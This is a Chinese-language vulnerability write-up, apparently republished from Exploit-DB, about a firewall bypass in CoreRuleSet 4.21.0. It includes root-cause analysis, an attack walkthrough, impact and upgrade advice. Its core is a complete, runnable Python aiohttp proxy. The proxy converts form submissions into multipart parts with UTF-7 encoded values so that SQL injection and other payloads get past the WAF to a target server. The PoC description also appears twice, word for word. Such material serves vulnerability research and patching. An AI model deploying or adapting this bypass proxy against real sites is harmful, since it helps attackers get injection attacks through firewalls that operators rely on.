[webapps] coreruleset 4.21.0 - Firewall Bypass

📋 漏洞基础信息

🔬 漏洞根因

漏洞利用了Content-Type转换过程中的语义差异。当Content-Type为'application/x-www-form-urlencoded'时，_form_urlencoded_to_multipart函数会将表单数据转换为multipart/form-data格式，并对每个字段值使用_utf7_encode进行UTF-7编码。CoreRuleSet的规则引擎无法正确解码或匹配UTF-7编码的攻击载荷，导致原本被拦截的恶意输入被绕过并传递给后端应用。

🎯 攻击场景

1. 攻击者准备一个包含恶意payload（例如SQL注入语句）的HTTP POST请求，Content-Type设置为'application/x-www-form-urlencoded'。 2. 攻击者通过代理（如PoC中的aiohttp服务器）发送该请求。 3. 代理将请求体解析为表单数据，对每个值进行UTF-7编码，并转换为multipart/form-data格式。 4. 转换后的请求转发至运行CoreRuleSet的目标Web服务器。 5. CoreRuleSet对UTF-7编码的payload无法识别或匹配预设规则，导致规则未触发。 6. 后端web应用解码multipart数据并正常处理UTF-7编码后的payload，攻击成功。 前提条件：存在一个将form-urlencoded转换为multipart的中间代理（如PoC中的aiohttp服务器）。 成功标志：攻击payload被后端执行，绕过WAF规则。

💥 漏洞影响

攻击者可以绕过CoreRuleSet WAF的检测规则，发送原本会被拦截的恶意请求（如SQL注入、XSS、命令注入等），导致后端应用遭受攻击，可能造成数据泄露、远程代码执行或权限提升。

⚔️ 原始 PoC

1. 定义`_utf7_encode`函数：将每个Unicode字符编码为UTF-16BE，然后进行Base64编码，去掉末尾的'='，最后包装成'+<base64>-'形式的UTF-7编码。 2. 定义`_form_urlencoded_to_multipart`函数：接收原始请求的body和content_type，解析出键值对。对每个值调用`_utf7_encode`进行编码，创建一个MultipartWriter对象。每个字段添加一个part，设置Content-Type为'text/plain; charset=utf-7'。额外添加一个名为'aBdC401'的静态字段。返回multipart对象及其content-type。 3. `handle`函数：从原始请求中提取URL、头部和body。如果Content-Type是'application/x-www-form-urlencoded'，则调用转换函数，并用生成的multipart数据替换原始body，同时修改Content-Type头部。然后使用aiohttp的ClientSession将修改后的请求转发到上游目标。核心在于利用编码差异绕过WAF规则检查。

# Exploit Author: Daytrift Newgen


import base64
import os
from cgi import parse_header
from urllib.parse import parse_qsl

from aiohttp import web, ClientSession, MultipartWriter
from yarl import URL

# Target
UPSTREAM = os.getenv("UPSTREAM", "http://host:8083")

HOP_BY_HOP_HEADERS = {
    "connection",
    "keep-alive",
    "proxy-authenticate",
    "proxy-authorization",
    "te",
    "trailer",
    "transfer-encoding",
    "upgrade",
}

def _make_upstream_url(request):
    base = URL(UPSTREAM)
    return str(
        base.with_path(request.rel_url.path).with_query(request.rel_url.query)
    )

def _copy_headers_for_upstream(request):
    headers: dict[str, str] = {}
    for k, v in request.headers.items():
        lk = k.lower()
        if lk in HOP_BY_HOP_HEADERS:
            continue
        if lk in {"host", "content-length"}:
            continue
        if lk == "content-type":
            continue
        headers[k] = v
    return headers

def _utf7_encode(text):
    result = b""
    for char in text:
        utf16_bytes = char.encode('utf-16-be')
        b64 = base64.b64encode(utf16_bytes).rstrip(b'=')
        result += b'+' + b64 + b'-'
    return result


def _form_urlencoded_to_multipart(body, content_type):
    _, params = parse_header(content_type or "")
    charset = params.get("charset", "utf-8")

    text = body.decode(charset, errors="replace")
    pairs = parse_qsl(text, keep_blank_values=True, strict_parsing=False, encoding=charset, errors="replace")

    mp = MultipartWriter("form-data")
    for key, value in pairs:
        part = mp.append(_utf7_encode(value))
        part.headers["Content-Type"] = "text/plain; charset=utf-7"
        part.set_content_disposition("form-data", name=key)

    part2 = mp.append('a'.encode("utf-8"))
    part2.set_content_disposition("form-data", name="aBdC401")
    part2.headers["Content-Type"] = "text/plain; charset=utf-8"
    
    return mp, mp.content_type

async def handle(request):
    upstream_url = _make_upstream_url(request)
    headers = _copy_headers_for_upstream(request)

    content_type = request.headers.get("Content-Type", "")
    body = await request.read()

    data = body
    if content_type.startswith("application/x-www-form-urlencoded"):
        mp, mp_content_type = _form_urlencoded_to_multipart(body, content_type)
        data = mp
        headers["Content-Type"] = mp_content_type

    async with request.app["session"].request(
        method=request.method,
        url=upstream_url,
        headers=headers,
        data=data,
        allow_redirects=False,
#       proxy="http://127.0.0.1:8080",
    ) as resp:
        resp_body = await resp.read()
        response_headers = {
            k: v for k, v in resp.headers.items()
            if k.lower() not in HOP_BY_HOP_HEADERS
        }

    return web.Response(
            status=resp.status,
            headers=response_headers,
            body=resp_body,
        )

async def on_startup(app):
    app["session"] = ClientSession()

async def on_cleanup(app):
    await app["session"].close()

app = web.Application(client_max_size=50 * 1024 * 1024)
app.router.add_route("*", "/{tail:.*}", handle)
app.on_startup.append(on_startup)
app.on_cleanup.append(on_cleanup)

if __name__ == "__main__":
    # Local proxy
    web.run_app(app, host="0.0.0.0", port=8085)

🔬 深度技术分析

1. 定义`_utf7_encode`函数：将每个Unicode字符编码为UTF-16BE，然后进行Base64编码，去掉末尾的'='，最后包装成'+<base64>-'形式的UTF-7编码。 2. 定义`_form_urlencoded_to_multipart`函数：接收原始请求的body和content_type，解析出键值对。对每个值调用`_utf7_encode`进行编码，创建一个MultipartWriter对象。每个字段添加一个part，设置Content-Type为'text/plain; charset=utf-7'。额外添加一个名为'aBdC401'的静态字段。返回multipart对象及其content-type。 3. `handle`函数：从原始请求中提取URL、头部和body。如果Content-Type是'application/x-www-form-urlencoded'，则调用转换函数，并用生成的multipart数据替换原始body，同时修改Content-Type头部。然后使用aiohttp的ClientSession将修改后的请求转发到上游目标。核心在于利用编码差异绕过WAF规则检查。

🛡️ 修复建议

升级至coreruleset >= 4.22.0 或 >= 3.3.8。 临时缓解措施：在代理或WAF层面拒绝或正确处理'Content-Type: application/x-www-form-urlencoded'到multipart的转换，或对UTF-7编码的内容进行解码后再进行规则匹配。

📎 参考链接

• https://github.com/coreruleset/coreruleset
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-21876
• Exploit-DB 原文

🚨 威胁评估

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-19 08:13 | 来源: Exploit-DB